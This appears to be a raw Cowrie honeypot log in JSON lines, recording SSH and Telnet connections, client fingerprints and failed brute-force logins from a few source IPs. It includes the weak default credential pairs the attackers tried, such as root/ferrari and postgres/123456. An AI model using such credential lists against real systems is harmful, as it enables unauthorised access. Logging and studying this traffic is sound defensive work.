{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:22.544356Z","src_ip":"192.109.200.237","session":"938b4e288411","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.13682532310486,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:23.722750Z","src_ip":"50.6.8.71","session":"741ce2318aa5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53592,"dst_ip":"159.203.135.109","dst_port":22,"session":"481f422811c5","protocol":"ssh","message":"New connection: 192.109.200.237:53592 (159.203.135.109:22) [session: 481f422811c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:24.500696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:24.505146Z","src_ip":"192.109.200.237","session":"481f422811c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:24.587285Z","src_ip":"192.109.200.237","session":"481f422811c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test2","message":"login attempt [test2/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:24.834731Z","src_ip":"192.109.200.237","session":"481f422811c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:25.921793Z","src_ip":"192.109.200.237","session":"481f422811c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":50898,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e5ab65fce13","protocol":"telnet","message":"New connection: 50.6.8.71:50898 (10.17.0.5:23) [session: 8e5ab65fce13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:26.795050Z"}
{"eventid":"cowrie.session.closed","duration":36.21813249588013,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:27.316933Z","src_ip":"50.6.8.71","session":"8376a9c3a7e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53602,"dst_ip":"159.203.135.109","dst_port":22,"session":"61a14c1a4109","protocol":"ssh","message":"New connection: 192.109.200.237:53602 (159.203.135.109:22) [session: 61a14c1a4109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:28.136074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:28.141123Z","src_ip":"192.109.200.237","session":"61a14c1a4109","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:28.223074Z","src_ip":"192.109.200.237","session":"61a14c1a4109","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"123456","message":"login attempt [david/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:28.468650Z","src_ip":"192.109.200.237","session":"61a14c1a4109","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:29.553659Z","src_ip":"192.109.200.237","session":"61a14c1a4109","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51426,"dst_ip":"159.203.135.109","dst_port":22,"session":"1640fa7e14e3","protocol":"ssh","message":"New connection: 192.109.200.237:51426 (159.203.135.109:22) [session: 1640fa7e14e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:31.501549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:31.506394Z","src_ip":"192.109.200.237","session":"1640fa7e14e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:31.588659Z","src_ip":"192.109.200.237","session":"1640fa7e14e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx","message":"login attempt [nginx/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:31.844451Z","src_ip":"192.109.200.237","session":"1640fa7e14e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:32.931168Z","src_ip":"192.109.200.237","session":"1640fa7e14e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":56200,"dst_ip":"159.203.135.109","dst_port":22,"session":"d72081692d40","protocol":"ssh","message":"New connection: 103.15.222.183:56200 (159.203.135.109:22) [session: d72081692d40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:34.799122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:34.805683Z","src_ip":"103.15.222.183","session":"d72081692d40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51480,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2d16f8bc3e0","protocol":"ssh","message":"New connection: 192.109.200.237:51480 (159.203.135.109:22) [session: c2d16f8bc3e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:34.913148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:34.918460Z","src_ip":"192.109.200.237","session":"c2d16f8bc3e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:35.001281Z","src_ip":"192.109.200.237","session":"c2d16f8bc3e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:35.054967Z","src_ip":"103.15.222.183","session":"d72081692d40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser","message":"login attempt [fastuser/fastuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:35.255103Z","src_ip":"192.109.200.237","session":"c2d16f8bc3e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ferrari","message":"login attempt [root/ferrari] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:35.807615Z","src_ip":"103.15.222.183","session":"d72081692d40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":39802,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a1e30eaf83b","protocol":"telnet","message":"New connection: 50.6.8.71:39802 (10.17.0.5:23) [session: 0a1e30eaf83b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:36.186306Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:36.339773Z","src_ip":"192.109.200.237","session":"c2d16f8bc3e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:37.059257Z","src_ip":"103.15.222.183","session":"d72081692d40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51522,"dst_ip":"159.203.135.109","dst_port":22,"session":"9cc9ab1784b7","protocol":"ssh","message":"New connection: 192.109.200.237:51522 (159.203.135.109:22) [session: 9cc9ab1784b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:38.678429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:38.683686Z","src_ip":"192.109.200.237","session":"9cc9ab1784b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:38.766112Z","src_ip":"192.109.200.237","session":"9cc9ab1784b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"123456","message":"login attempt [zabbix/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:39.012643Z","src_ip":"192.109.200.237","session":"9cc9ab1784b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:40.097659Z","src_ip":"192.109.200.237","session":"9cc9ab1784b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47284,"dst_ip":"159.203.135.109","dst_port":22,"session":"965b441f2f38","protocol":"ssh","message":"New connection: 192.109.200.237:47284 (159.203.135.109:22) [session: 965b441f2f38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:42.120197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:42.124911Z","src_ip":"192.109.200.237","session":"965b441f2f38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:42.208340Z","src_ip":"192.109.200.237","session":"965b441f2f38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123123","message":"login attempt [admin/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:42.458107Z","src_ip":"192.109.200.237","session":"965b441f2f38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:43.550699Z","src_ip":"192.109.200.237","session":"965b441f2f38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.52565908432007,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:44.618255Z","src_ip":"50.6.8.71","session":"e3103e2d8397","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47288,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f7880d5e076","protocol":"ssh","message":"New connection: 192.109.200.237:47288 (159.203.135.109:22) [session: 6f7880d5e076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:45.361195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:45.366560Z","src_ip":"192.109.200.237","session":"6f7880d5e076","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:45.482919Z","src_ip":"192.109.200.237","session":"6f7880d5e076","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456","message":"login attempt [postgres/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:45.857023Z","src_ip":"192.109.200.237","session":"6f7880d5e076","protocol":"ssh"}
